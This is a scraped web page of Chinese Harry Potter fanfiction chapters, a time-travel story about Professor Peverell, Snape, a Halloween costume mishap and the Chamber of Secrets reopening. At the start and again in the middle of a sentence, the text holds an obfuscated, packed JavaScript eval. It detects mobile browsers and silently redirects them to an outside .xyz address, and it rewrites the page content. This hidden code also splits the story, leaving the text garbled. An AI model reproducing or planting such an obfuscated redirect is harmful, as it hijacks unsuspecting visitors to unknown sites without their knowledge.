;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156390|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有你想不到!给你一个完美的万圣节!”红发双胞胎最后的魔音合唱简直震耳欲聋,小小的收音机喇叭差点就要承受不住了。 合唱完毕后,弗雷德立马一个欢脱的转调,“噔噔噔噔,欢迎继续收听霍格沃兹八卦前哨站,接下来是大家最喜欢的节目——霍格沃兹,一段八卦!” “我们邀请大板牙、麻雀斑、绿眼睛、金毛作为这栏节目的特邀嘉宾。本期的八卦主题是——” “朋友or死敌?黑魔法防御VS魔药?你所不知道的故事……” 扬声器里传出乔治假装一本正经的声音,“猜想各位听众都很熟悉我们本期八卦的两位主角——佩弗利尔教授和斯内普教授!” “大家应该有所耳闻,最近这两位教授的绯[]闻闹得沸沸扬扬!”弗雷德补充道,“佩弗利尔教授可以说是近两年来除了邓布利多外最受学生欢迎和喜爱的教授了,‘既帅气又和气,上课风趣,连他额头上那条闪电伤疤都成为其魅力所在’!以上评价来自于帕瓦蒂·佩蒂尔小姐!” “至于另一位八卦对象——斯内普教授,作为斯莱特林的院长,还刚刚扣了格兰芬多50分,实在是没有什么值得我们喜欢的。‘简直太可怕了,和他黑沉沉的眼睛对上我就浑身发抖,一手抖就会放错魔药材料……更别提他以前好像从来不洗头发,最近倒是好些了。虽然斯内普教授一直觊觎黑魔法防御课的位置,但黑魔法防御课教授必须是佩弗利尔教授!’以上评价来自苏珊·博恩斯小姐。” “从学生们的评价来看,照理说这两位教授不管是从身份上外貌上还是性格上都可谓是水火不相容的存在,不少目击者也证明他们曾经看到两位教授起过不少争执,往往争锋相对,表现出两者的关系恶劣。但实际上又是怎样的呢?各位听众还记得魁地奇球场上发生的事吗?有明确、可靠的消息指出,大闹球场的人偶正是出自佩弗利尔教授的手笔!另外目击者们应该也注意到了,当骚[]乱发生时,两位教授是同时到达球场的!而且是手牵着手!难道我们集体中了混淆咒搞错了吗!后来两位教授带着人偶一起去了魔药教授的办公室,有学生证明,里面时不时传出阵阵可疑的叫声!持续了一整个下午!难道他们在里面发生了什么不可告人的故事吗?”乔治几乎是歇斯底里地在吼,“我们先请麻雀斑为我们说说,对于外面流传的两位教授的传闻,你是怎么看的?” “我?我没什么看法……”传出的是罗恩犹豫不决的声音,“佩弗利尔教授和斯内普教授总是吵架。不过人偶的确是佩弗利尔教授做的,好像不止这一个,我还拿去玩过两天呢,做得实在是太像了!后来不是被你——” “谢谢麻雀斑给我们提供这么有力的证据,证明人偶的确是佩弗利尔教授制作的!而且,老剑,你听到了吗?不止一个人偶!” “是啊,佩弗利尔教授到底是怀着什么样的心情制作出这批人偶的呢?让我们来听听大板牙的意见。” “谢谢主持人,说实话我今天还是第一次知道人偶的存在呢,他们太不够朋友了。”大板牙,不,明显是赫敏,冷静地接过话头,“但我早就觉得佩弗利尔教授和斯内普教授很可疑了,嗯,女人的直觉。你们见过斯内普教授和别的教授吵架吵得这么幼稚吗?这比他在魔药课上给我们全E的成绩还要难以想象。” 眼看两个最要好的朋友接连上了节目,泰迪终于后知后觉地发现,他·被·坑·了! 难怪他们一到晚上就跑没影了!难怪他们告诉他有这个节目却不和他一起收听! 感受到背后阵阵的冷意,泰迪没胆去关掉收音机,只能琢磨是不是可以观察等下逃跑的路线了?他暗暗用目光向教父求助……嗯,也许自家教父都得靠他了…… “绿眼睛,你怎么看?” “这么说的话,暑假期间斯内普教授曾经发过一封吼叫信给佩弗利尔教授,嗯,大概是佩弗利尔教授干了什么对不起斯内普教授的事?我那时候太惊讶啦,没顾上仔细听内容。” “这真是让人想不到,看来他们的联系比我们想象中还要紧密……金毛你有什么补充的吗?”弗雷德问道。 “如果你想问他们关系够不够好——暑假他们一直在一起行动,嗯,一起进出各个地方。”金毛,也就是德拉科懒洋洋地扔了一个重磅炸尾螺,“他们经常通过飞路网互相拜访,哦,对了,那段时间我正好在斯内普教授家里寄住,有一次我看到斯内普教授用公主抱的方式从飞路网把佩弗利尔教授抱回了他家,佩弗利尔教授闭着眼睛似乎挺享受的。然后他们那晚没回来。” 收音机里一阵令人窒息的沉默。 收音机外也是一片可怕的沉默。 噼里啪啦,本就破旧的收音机瞬间四分五裂。 泰迪悲哀地捂脸,没忍去看斯内普铁青扭曲的脸,以及哈利那一副被魔咒劈中、完全失去反应能力的表情。 接下来,泰迪做出一件胆大得他自己都惊讶的举动——他用超越光轮2000的速度冲进实验室,一把捞出泡在药水温泉里的人偶西比(“嘿小子,药水温度不够,我还没泡够呢!”),左手拎着人偶,右手拉住依然呆滞的教父的手,在斯内普反应过来前逃离了“凶案”现场——“晚安,西弗!太晚了我要去睡觉啦!” 哦,带着教父和人偶成功潜逃,他真是太机智了! 53. 石化(上) 入秋以来的天空总是阴沉沉的,灰濛濛的雾气凝聚在一起,笼罩在城堡上。被感冒困扰的学生和教工人数激增,但总有人不畏风吹雨打,定期开展的魁地奇训练比狂风暴雨还要激烈。 于是在距离万圣节只有不到一个星期的某个周六,哈利作为格兰芬多队的顾问,在风雨中嘶吼了整整一个下午才得以返回城堡。雨噼里啪啦打在他的身上,防雨咒在这种天气里起的效果似乎很有限,巫师袍皱巴巴地贴在身上,粘在上面的泥浆多得可以搓下来捏成一个游走球了。不过我们的黑魔法防御课教师心情倒是出乎意料的好。毕竟看到格兰芬多今年夺冠有望——不是他自恋,小哈利毫无疑问会是个杰出的找球手,而罗恩也成为了替补守门员——多少能弥补一下他二年级时的遗憾。当然,另外一个让哈里保持好心情的最主要原因是——随着万圣节和第一场魁地奇比赛的临近,终于没人关注那只该死的人偶,还有他和斯内普之间莫名其妙、匪夷所思、令人发指的“绯闻”了。 是的,在某个不能说出名字的广播节目播出后,整整两个星期里,无论哈利走到哪里,总会被周围的学生用两种眼神包围着。一种是意味深长的“原来是这样没想到佩弗利尔教授你是这种人我早知道有问题有奸[]情”,还有一种是惊恐悲哀的“哦佩弗利尔教授你怎么会这样我不相信我的心都碎了”——见鬼,不管是哪一种他都不喜欢!所幸他作为教授的威严尚存,敢直接到他面前来八卦询问的学生至今还没出现,连散播谣言的罪魁祸首孪生兄弟弗雷德和乔治都一反常态、除了魁地奇训练外都尽量躲得远远的,当然在训练中没少被收拾就是了。至于绯闻的另一个对象,敢去问的学生是嫌自己学院的分太多,还是在地窖里的义务劳动做少了? 这里不得不提一下八卦中的另一主角——斯内普人偶西比的动态。毫无疑问两位教授目前都不想再见到它,魔药教授甚至放言说要把它作为新魔药开发的材料之一。但据泰迪说它混得很开,除了赫敏刚见面时萌得心肝颤、激动得差点把它捏坏之外,一切安好。西比不仅成了格兰芬多二年级学生的新宠,更兼任格兰芬多魁地奇队的吉祥物——因为这只“睡美人偶”,格兰芬多队收获了一名优秀的找球手。并且格兰芬多的学生们还产生了奇妙的误解,认为以斯内普为模板的人偶既能抵挡真人的毒液攻击,又能帮他们在魔药课上作弊,久而久之甚至编出一句口号——“人偶在手,魔药我有!”梅林保佑这句口号不会传到魔药教授的耳朵里,引发又一场灾难。 眼看着弥漫着烤鸡香味的礼堂就近在眼前,哈利低头瞅瞅湿透的衣服,犹豫了一下还是决定先把空荡荡的肚子填饱,反正他现在不怕费尔奇找他麻烦了。万圣节就在三天后,礼堂已经逐步布置起来了,桌上的蜡烛灯全部换成镂空雕花的小南瓜灯,海格种的大南瓜刚被摘下来,放置在礼堂的一角等着进一步的雕刻。 看来今年的万圣节可以顺利度过了。哈利在心中感慨——金妮看上去一切正常,没在她身上发现来历古怪的日记本;多比也脱离了马尔福家,成为自由的家养小精灵后一直在为他工作;只有密室他没去过,一来不确定还有没有蛇佬腔,二来他也不想再说蛇语了,但在缺少日记本的情况下,密室应该不会轻易开启了。何况历史的轨迹在他和泰迪的介入下已经拐了个大弯,里德尔的日记本不排除还在卢修斯·马尔福的手里,说不定已经被伏地魔回收了也说不定。 说到多比,它最近跑哪儿去了?泰迪上次还说它来找过人,神情似乎有点慌张,可事后哈利既没在学校里发现它的踪迹,特意回了一趟睿瓦纳塔也没找到它……这么说来,多比是怎么摆脱马尔福家的?暑假在对角巷偶遇时它就已经自由了,哈利光顾着为它高兴,二话不说就雇佣了它,却从没觉得不寻常—— 一时陷入深思的哈利觉得自己好像快抓住了什么,可一瞬间就被自己的教子打断了。 “哈利!你怎么浑身湿哒哒的?”泰迪略显大惊小怪的声音和细碎的脚步声从背后传来。 哈利的脸浮现笑意,“这就是献身风雨的魁地奇精神,亲爱的泰迪。说实话,重温一下年轻时代的狂热感觉真不错。”他边说边回过头,然后震惊了,视线定格在教子的脑袋上,“你和巨龙玩捉迷藏了?” “什么?”泰迪一脸茫然,显然没听明白自家教父话里的意思。 哈利伸手指指泰迪那犹如从火灾现场回来的半边脑袋,以开玩笑的口吻说,“我知道你头发能变色,但还真不知道你还能把头发变得和烤糊的派一样焦。”虽然纳威糊里糊涂烧焦他的脑袋是家常便饭,但泰迪显然不是。 “哦!别提了!”泰迪这才恍然大悟,一把捂住脑袋,“刚刚话剧排练的时候,道具用的龙不知道出了什么问题,只能喷出点小火苗,于是洛哈特教授表示他来演示一下‘真的’巨龙应该是怎样喷火的,我只是正好站在他前面……”他无奈地拉扯怎么也变不回原状的头发,整个人都散发着忧郁的气息。 “我早提醒过你,洛哈特教授用得最得心应手的魔法只有‘一忘皆空’,这意味着你在看到他使用任何别的魔法时都得有多远躲多远。”哈利耸肩,“我建议你在入餐前先去找一下庞弗雷夫人,这点小问题她只需要几秒钟就可以帮你解决了。” 泰迪决定接受教父的好心建议,正要垂头丧气往医务室走,又好像想起什么,停下脚步犹豫地看向哈利,“哈利,我差点忘了,刚刚我在走廊里碰到差点没有头的尼克,和他聊了两句——他说他很欣赏我的焦头,好吧,他说是新造型,并邀请我参加他的忌辰生日晚会。” 哈利一愣。“你答应了?”忌辰晚会,他早给忘得一干二净了。应该说,这真不是什么令人愉快的回忆,至少他的二年级生涯在这天后陷入了糟糕透顶的地步。 “哦,我觉得听上去挺有趣的,还打算等会儿去公共室问下赫敏罗恩他们有没有兴趣一起呢。”泰迪回答得有点迟疑,显然哈利的态度让他觉得自己是不是做错了什么。“我不该去吗?” 不是不能去,可也没啥好去的……哈利默默挣扎要不要提前打击教子的期待,最后还是冒出了一句嘱咐,“自己小心。去之前别忘了先到礼堂来拿些吃的,忌辰晚会上可不会准备活人吃的东西。” ****** 万圣节前夕快七点的时候,哈利在前往礼堂前先溜去厨房向家养小精灵要了些食物,然后带着热情的小精灵们塞给他的一大袋鸡腿和南瓜饼前去格兰芬多公共休息室找泰迪他们。可他扑了个空,小家伙们显然提前出发了。于是他转了个弯快速朝礼堂走去,果然在离礼堂还有一小段距离的地方碰见自家教子和小伙伴们两手空空地往回走。不过他猜中他们可能在宴会前会一无所获,却没猜中几个小家伙居然打扮得非常符合万圣节的气氛,滑稽的模样引来走道上学生的目光和窃笑——泰迪灰黑的卷发中冒出一对狼耳朵,身后还有一根毛茸茸的尾巴来回甩动;赫敏就像是童话里的精灵,背后长了四只半透明的翅膀;小哈利走路一瘸一拐别扭得很,看来是还没适应像半人马一样用四条腿走路。至于罗恩,哈利差点没认出他,如果不是那头红头发从包扎得严严实实的绷带中调皮地窜出几缕的话。 只是去参加忌辰晚会,他们太起劲了吧。哈利心中暗自嘀咕,及时出声叫住小家伙们,又提高手中的袋子向他们挥舞。 “哦!哈利/佩弗利尔教授我真是太爱你了!”当四个小家伙看到袋子里装得满满当当的食物时别提多激动了,竟不约而同地向哈利表达了爱意。 “我的荣幸。”哈利扬眉,“话说回来,你们的万圣节装扮挺酷的,看看这耳朵……”他摸上泰迪的耳朵,只觉得蓬松得像个毛球似的,忍不住又扯了一下,居然扯不下来,就像它本·来·就在那里似的!泰迪甚至歪头避开他的手,脸上露出吃痛的表情。 “别拉它,哈利!” 哈利毫无愧疚感地转为观察赫敏背上的翅膀和小哈利的四条马腿,过足手瘾后得出一个结论,“跟变形出来的一样,这可超出你们的范围了。在哪里整的?对了罗恩你是不是该把绷带往下拉点?你快闷死自己了。” 四个小家伙面面相觑,同时大笑数声,最后还是罗恩使劲拉了几把绷带,大喘了口气说道,“还不是弗雷德他们搞出的新玩意,佩弗利尔教授你去礼堂看看就知道了。” 好吧,他有点印象,那对双胞胎好像在那个该死的·名字不能提的·八卦电台节目里提到过。他绝对不会承认是因为他的缘故,韦斯莱兄弟的搞怪能力明显比他那时空里的高了好几个等级…… “你们就准备顶着这身装扮去参加忌辰晚会吗?” 泰迪的狼耳朵灵活转动着,“不是挺有趣的吗?反正只要两个小时就会变回来了,当然也可以找弗雷德他们直接解除魔法。” 哈利忍不住又想去摸一把,一个煞风景的声音不合时宜的出现了。 “啊哈,这不是我们亲爱的佩弗利尔教授吗!”洛哈特大大咧咧把手搭在哈利肩上,哈利不动声色地回了个招呼,接着瞬间被他一身闪亮风骚的礼服闪得嘴角抽筋。 “哦,看看这四个可爱的小家伙,多么时尚的装扮,简直有我一半的风范。”洛哈特评价的同时永远不忘自我陶醉,在得知四个孩子要去参加忌辰晚会后他又把矛头指向哈利,“佩弗利尔教授,今天可是万圣节,你穿得实在太朴素了,怎么能成为学生的榜样呢?来,我们快去礼堂好好打扮一下吧。” 于是哈利只来得及和孩子们说句玩得开心就被热情的洛哈特一把拉走了。 ****** 随着礼堂大门越来越近,哈利终于得以窥见韦斯莱双胞胎的新产品是怎么给学生或教职工打扮的。海格的其中一个巨型南瓜被双胞胎挖空,改造成一个镂空的圆顶小屋,就放置在礼堂的大门左侧,每个想进入礼堂的人都可以先进去装扮一番。南瓜小屋里面应该是施加了双胞胎的把戏,只要从跨入南瓜屋一路往前走就会自动原路返回,短短几步路即可以获得一身完美的万圣节装扮。用麻瓜的话来形容,就是所谓的“一秒换装”,且效果逼真,童叟无欺。 学生们显然都很欢迎韦斯莱魔法把戏坊的新产品,南瓜屋已经挤满了人,每通过一个人就会赢得欢呼雀跃声一片。弗雷德和乔治两兄弟一人一边站在门前收费,一人只需5个银西可,没一会儿就赚得盆满钵盈。哈利亲眼看着科林·克里维先给南瓜屋全方位无死角地拍了好几张照片,当然这是不足以解密其奥秘所在的,因为当他毅然走进门后,再次出来就变身成一身黑夜晚礼服、唇色惨白微露尖牙的吸血鬼模样了,而他手上的相机居然变成一串大蒜挂在他脖子上。 “真是有创意的搭配。”科林评价道。 踹踹不安跟在科林身后的是纳威,看上去像是被同伴们硬塞过去的。他紧闭眼睛几乎是一口气撞进屋里,几乎冲进去的同时就出来了,睁眼后先是因为自己的身体没什么特殊的变化而松了口气,随后却惊恐地发现自己脑袋被替换成硬邦邦的南瓜头,配上他圆墩墩的身材不仅特别喜感,而且敲上去居然还会砰砰作响! “哦,奶奶看见我这样会宰了我的!”他哭嚎道。 哈利决定还是直接走大门,嗯,反正他本来就是巫师,瞧这身巫师袍多适合万圣节的气氛,大不了把光轮2000也拿来凑数。 当然洛哈特是不会如他所愿的,哈利甚至刚迈开脚步就被他拖回来了。 “你要去哪里,佩弗利尔教授?我得承认这看上去还不够完美,原谅这些魔法不精的小伙子们吧!但你知道我是这方面的能手,只要一个小魔法,就可以让一切变得完美无瑕的!”洛哈特在哈利耳边喋喋不休,手劲大得吓人。 “不,洛哈特教授,我一点也不想更完美,尤其是你在的情况下。”哈利忍无可忍想拔魔杖了。 “那可不能,佩弗利尔教授。你不需要自惭形秽,虽然跟我比还是差一点。” “佩弗利尔教授!洛哈特教授!你们也来试试吗!太期待你们的装扮了!”弗雷德火上添油。 “快去!快去!快去!”周围的其他学生也在起哄。 可仿佛这场面还不够混乱,斯内普带着一股低气压快步走来了。 “礼堂前禁止集会,你们以为自己在玩什么把戏?”斯内普不满的目光紧紧盯住哈利。哈利拼命让自己的表情显得很无辜而困惑,事实上他绝对是被害者,没见洛哈特还拖住他不放吗? 斯内普无视哈利求救的眼神,冷冷扫视了一下发起者的双胞胎及在场的学生,“为了你们扰乱礼堂的秩序,格兰芬多、赫奇帕奇和拉文克劳各扣……” “今天是万圣节前夕!斯内普教授!变装是传统!”乔治大声抗议。 洛哈特教授看来也很赞同。“别这么扫兴,斯内普教授!我相信你会很愿意和我们一起来享受这个美妙的过程的,你会爱上它的!”如果要说有一个人完全感受不到当前的诡异气氛并仍具有卓越行动力的,那必须是洛哈特。因为他接下来的举动震惊了全场人—— 众目睽睽之下,毫无防备又震惊的斯内普,连同一开始就没逃离魔掌的哈利,一同被洛哈特推向南瓜屋。不幸的是,他们三个人本来就离南瓜屋只有一步之遥了。更不幸的是,也许是为了他的完美哲学,洛哈特又往南瓜屋上加了个魔咒。 当黑暗笼罩、浓雾袭来时,哈利难以置信地伸手惨叫—— “不!!!!!”你怎么没一起进来,洛哈特! 这一秒简直如同一生那么漫长。 实际上烟雾很快散去,哈利清楚自己又回到南瓜屋门前了,眼前映入一张张目瞪口呆的脸。他会是什么装扮?最糟也就是僵尸或骷髅了吧? “这真是太妙了!”洛哈特说。 哈利带着听天由命的态度摸摸脑袋又看看双手,目光所及处一概正常,难道因为洛哈特那个魔咒的缘故反而失效了? 不,视线好像变低了。纳威那南瓜头都得仰头才看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156391|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,是变成矮人了吗? 哈利想迈步往前走,但他的两只脚好像不听他的话,又好像根本没存在两只脚,他一下子就往前扑倒在地了。这回他终于看清楚自己身上的变化——他简直不能相信,衣袍下露出的不是两条腿,而是一条硕大的鱼尾巴!哈利差点没晕过去,变成人鱼是怎么回事?还能让人愉快地走路吗! 如果他还是傲罗司司长,洛哈特必须上他的逮捕名单!然后公报私仇让他在阿兹卡班里关上100年! “洛哈特!”斯内普从喉咙深处发出咆哮。 “嘿,我就知道你们会喜欢的,也许我也该来一套。”洛哈特咧嘴笑,满意极了。 哦,也许不用上名单洛哈特就必死无疑了。哈利眼看一道耀眼的红光往洛哈特方向飞去,把他击得飞出好几米远。 “禁止在走廊里决斗,斯内普。教授也一样……”哈利无奈地说,用同病相怜的眼神往身边瞅去,不出所料,斯内普杀气腾腾,脸怒得几乎变了形,鼻子喷着粗气,两只翅膀用力扑打着,那架势就像要飞过去和洛哈特同归于尽。 等等?哈利第一个反应是使劲捂住嘴以防笑出声——虽然他总在心里暗搓搓地骂斯内普是只恶毒的老蝙蝠,但从没想过会以这种形式看到斯内普的蝙蝠形象,即使他只有身体变成了蝙蝠……他该佩服斯内普居然能这么快学会用蝙蝠的小爪子抓住魔杖吗? 围观的学生们都在憋笑,但在魔药大蝙蝠的淫[]威下,想逃也不敢逃。 “好吧。”哈利都快放弃治疗了,他转向站得最近的弗雷德,“能把我们马上变回原状吗?我听泰迪说你们可以做到,毕竟我不清楚你们使用的魔法的原理。” 基于旁边斯内普·蝙蝠的眼神过于凶恶,弗雷德毫不迟疑举起魔杖念出一段咒语,“捣蛋鬼,捣蛋精,不给糖就变回来!” 啪的一声响,一股黄色的烟雾自两人身上飘起。哈利满心欢喜地期待重享脚踏实地的感觉,却极度失望地发现他能动的还是只有尾鳍。 魔咒失效。 弗雷德愣住了,乔治脸色发呆。 “韦斯莱先生,你最好能解释清楚这一切,否则我绝对要把你们开除出学校!”斯内普直瞪着双胞胎,气得发狂。 “不不不,应该是有效的,我才刚给贾斯汀试过,他不喜欢自己的僵尸造型……”弗雷德急着解释,“让我再试一次!”他快速重念了好几次咒语,遗憾的是没有一次能起效。 如果不是韦斯莱兄弟的咒语出错,那会是哪里出错呢? 答案是显而易见的,鉴于所有人都不约而同把目光转向正踉跄爬起的那个人身上。 “是的,洛哈特……我早该警惕……难道我们还得等两小时才能变回来?不会是永远变不回来了吧?”这个可能性太令人惊恐,哈利立刻掏出魔杖甩了好几个魔咒在斯内普身上,同样白费力气。 “佩弗利尔!别把我当成你的小白鼠!” “别生气,我只是试试,还能比现在这样更糟吗?” 洛哈特似乎还有点晕头转向,“啊哈,我们出了一点小问题,无伤大雅的小问题,关键是你们的万圣节装扮非常合适、非常完美!” 这下真把哈利·人鱼激怒了,决定见他梅林的校规,他必须得让斯内普·蝙蝠带他飞过去揍洛哈特一拳。就在这时一阵细微的声音钻进他的耳朵里—— “……撕裂你……杀死你……” 哈利一下子停住所有动作,全神贯注地听着。那声音太久远了,他几乎以为是错觉。 “饿坏了……想杀人……是时候了……” 真的是它?不可能,是谁打开了密室? 哈利忽然整个人紧张起来,警惕地环顾四周。 “佩弗利尔?”斯内普一脸疑惑。 哈利来不及搭理他,急切地喊道,“嘘!大家安静!安静!”喧闹的人群渐渐安静下来,哈利严峻的表情让学生们张惶不安,不知道出了什么事。 嘶嘶声更加清晰地在哈利耳边响起,而他也确认和以前一样,除了他没有别人能听到这声音。继额头上的疤开始痛之后,他果然又变成蛇佬腔了。而巨蛇又出现了,哈利压抑不住不安的心情。 “佩弗利尔教授!我希望你能解释你的行……” 一声远处传来的尖叫打断斯内普的质问。声音从东边的一楼过道那里传来,晚宴即将开始,现在几乎没有学生从那里过来了。但随着这声尖叫响起,包括在南瓜屋前围观的学生,还没进礼堂的不少人都涌向过道去看个究竟。 那些学生跑过去后,过道里先是陷入一片诡异的寂静中,接着爆发出更强的喧嚣声。 “快叫邓布利多校长来!”有人这么喊。 “佩弗利尔教授!斯内普教授,请你们过来看看!太可怕了!”也有学生想到还在礼堂外的两位教授。 斯内普冷哼一声,扑扑翅膀打算直接飞过去。哈利·人鱼就倒霉了,他没法很好地控制自己的尾巴,甩了好几下都几乎只是在原地打转。无奈之下他只能向斯内普求助,“斯内普!等等,带我过去!” 斯内普优雅地在空中转了个圈,停在哈利的面前讥笑道,“哦?是我的耳朵听错了吗?英勇无畏、无所不能的佩弗利尔教授居然让我带他过去?我现在这小身板可不敢承受你那鱼尾巴的重量。” 哈里翻了翻白眼,“得了吧,我看你换了身体后得心应手得很。这事很严重,你必须带我去,你有什么疑问晚点我会全部解释清楚的!” “成交。” 斯内普降低高度,两只爪子按在哈利的两肩上,牢牢抓紧后又慢吞吞地再度腾空飞起,摇摇晃晃地往过道飞去。 哈利有点担忧这种交通方式,本能地想挣扎,但马上换来斯内普的警告。 “在空中别乱动,否则别怪我半途把你扔下来。” “我还以为是你提不动了。”哈利反击,他忽然想到,那条过道正好可以通往地下教室,忌辰晚会就在那里举行。他的脸色变得煞白,“斯内普!再飞快点!” “闭嘴!你来拎着一条超重的人鱼飞飞看!”斯内普颇有点咬牙切齿。 “我又不能飞!再快点!泰迪他们可能有危险!” “叫·你·不·要·乱·动!” 当两人磕磕碰碰地成功到达过道时,那里已经挤得水泄不通了。斯内普只能再带着哈利挤过人群。 “麻烦让一让,这里出了什么事?” 学生们让开一条道让他们通过,哈利立刻发现他的教子和另外三个人都沉默地站在一块墙前面,顿时松了一口气,谢天谢地他们还是会动的。 “泰迪,你们还好吧?” 泰迪转过身来,眼里带着淡淡的恐惧。哈利终于看到他身后墙上闪着微光的那两行熟悉无比的字,倒挂在燃烧的火把下的洛丽丝夫人,以及被叼在它嘴里的西比人偶。它们的身体都僵硬得如同石块,眼睛直勾勾地瞪着哈利,控诉他的疏忽。 54. 石化(下) 福克斯蔫蔫地站在镀金栖枝,因为濒临涅槃而显得老态龙钟,但这不妨碍它对僵直躺在办公桌上的人偶多瞅几眼,然而如今失去活力、变得不能更普通的人偶并不能引起它更多的兴趣,很快它又缩回脑袋、回归沉寂。 今晚稍早时候发生的意外着实在学生和教职工间引发了不小的骚乱,不仅万圣节晚宴草草结束,事发地点留下的两行字迹更是在众人心中种下不安的种子。 『密室已经被打开。 与继承人为敌者,警惕。』 晚宴上几乎随处可见学生们私底下交头接耳、窃窃私语。 “霍格沃兹要出大事了!”不少人这么说。 而作为最早目击者的四个小家伙在面对教授们的询问时却给不出更多的线索,他们争先恐后解释是在去参加忌辰晚会的途中听到人偶的求救声,“……我们看到洛丽丝夫人叼着西比,就是这个人偶,往过道那里跑去,我们就一路跟了过去想去解救它,没想到——” “你们有听到什么奇怪的声音吗?”哈利打断问道。栖息在他肩膀上的斯内普望了他一眼。 显然哈利和斯内普身上的魔法暂时还没有消退的迹象,前者只能努力用尾巴撑直身体,后者懒得拍翅膀,干脆把某人肩膀作为休息地了。 也许是眼前的搭配实在滑稽,四个小家伙表情古怪,又一致摇头。 接下来就没有他们什么事了。邓布利多宣布洛丽丝夫人和人偶西比只是被石化,并可以通过曼德拉草的复活药剂解开石化状态后,温和地建议小家伙们最好回晚宴上去喝点南瓜汤压压惊,接着安排麦格教授和洛哈特教授带上哭得昏天暗地的费尔奇去医务室安置洛丽丝夫人,最后面向哈利,语气肯定又微显凝重,“看来你知道发生了什么事,哈利。” “我宁愿什么都不知道。”哈利只觉难以形容复杂的心绪,明明这个时空一切有所改变,未来也应该走向不同的方向,但又经常会在某些点上发生奇妙的重合,偏偏又存在微妙偏差,叫他不知该如何应对。 久违的三人会议再次启动。在喝了斯内普制作的恢复药剂后,哈利终于能摆脱该死的人鱼尾巴,用正常的姿势坐在邓布利多办公桌前的椅子上。斯内普坐在他身旁的位置,作为时空穿越的知情者之一,自然而然地加入进来。哈利才刚把记忆里密室、蛇怪和里德尔日记的存在事无巨细全盘托出,现在两人都在默默等待邓布利多发言。邓布利多没有抬头,他的目光像是被桌面上的人偶吸住一般,像在沉思什么,湛蓝的眼睛深处流露出微弱的疲惫和忧郁。哈利惊讶地发现面前的老人似乎失去了往日神采,短短一个月里居然变得惊人的消瘦衰老。 自一个月前的纽蒙迦德事件以来,哈利几乎没有和邓布利多单独会面的机会。他甚至不常呆在学校里,或许格林德沃的消失给他带来不小的震撼和打击。对于两人半个世纪前的纠葛,哈利不打算也无法介入。但格林德沃异于常人的表现,以及为何对他和泰迪是穿越时空而来的事实了如指掌,却令他至今不能释怀。邓布利多也一样,因为他察觉自己并不如他所认为的那样,了解自己曾经的挚友、后来的对手。 格林德沃是一个未知的变数,伏地魔呢?他曾经的宿敌是否同样—— 就在哈利的思绪越飘越远之际,邓布利多忽然动了一动,终于抬起目光,“这么说,里德尔日记本是伏地魔的其中一个魂器。” 哈利回过神,点头道,“我一直以为它还在卢修斯·马尔福的手里。他去年就回到伏地魔手下做事,既然伏地魔要进行灵魂重铸,应该早就收回去了才对。” “事实上是,密室被打开,你天真的想法造就了牺牲者的出现。”斯内普带着似笑非笑的神情睨视他,“佩弗利尔,你总是对自己太自信了,从未来回来的无所不能的救世主?” “我承认是我的疏忽,看来我低估了卢修斯·马尔福想要利用日记本祸害霍格沃兹的执着。”出乎斯内普意料,哈利态度相当好,很爽快地坦承错误,“好在现在还来得及,密室怪物的藏身之处、幕后黑手是谁对我们来说都不是个谜,事态应该控制得住,只希望总爱说话阴阳怪气的人可以帮得上忙。”最后一句当然是故意丢给斯内普听的,后者冷冷地瞪了回来。 “我倒是希望某个不是晕倒就是自虐的家伙到时候别拖后腿。” 哈利身体朝后往椅背一靠,绿眸眯缝起来,按捺不住笑意。 两人虽然习惯于在口头上争锋相对,但合作的默契却早已建立起来了。 “我相信你们会顺利解决问题的。”邓布利多微笑着说,不过他脸上的神色并不轻松,“哈利,还有一件事,我想我必须问问你,和你确认一下。” “什么事,阿不思?”哈利收敛笑意,等待着邓布利多的问题。 “可能你没有注意到——”邓布利多身体前倾,双手十指指尖相触,“是关于你的蛇佬腔,你一直会说吗?” 哈利和邓布利多仿佛能穿透一切的目光相遇,瞬间交换了无数信息。 “不,不是的,我……”哈利不知道该怎么解释,疼痛的伤疤、恢复的蛇佬腔,都是再明显不过的提示,他早有心理准备,可事到临头,还是不想面对这样的现实。 “看来我没猜错是吗,哈利?”邓布利多用了一个问句,语气却很肯定。 对于两人打哑谜似的对话,斯内普皱起眉头,“阿不思,蛇佬腔应该是斯莱特林特有的能力,这说明了什么吗?佩弗利尔不可能是斯莱特林的继承人。” 邓布利多温和地说,“这点毋庸置疑,西弗勒斯。我怀疑,这应该是伏地魔的灵魂碎片带来的一个小小的副作用。我说的对吗,哈利?” 哈利一时无言,但斯内普却理解了他的意思,震惊了。 “这不可能!” 邓布利多叹了口气,“可惜事情总是往最坏的方向发展。哈利,我不能判断你身上的灵魂碎片是属于未来还是这个时代的,我相信你也无法判断,但你要小心。” “我知道,阿不思。”哈利说。 ****** 哈利和斯内普站在哭泣的桃金娘的盥洗室门口。 “这就是密室?”斯内普扭曲了脸庞,用几乎咬牙切齿地口气问道。 哈利古怪地看了他一眼,“当然不是,密室的建造人又不是脑子进巨怪了,只是密室入口在里面。” “你没说过是在女生盥洗室!” “反正除了桃金娘也没人来。”哈利耸耸肩,率先走了进去,桃金娘正坐在其中一个马桶上捂着脸哭哭啼啼,听到动静后哭声减弱了些,并偷偷从手指缝中偷看进来的人。 “嗨,你好,桃金娘。”哈利熟稔地问好。 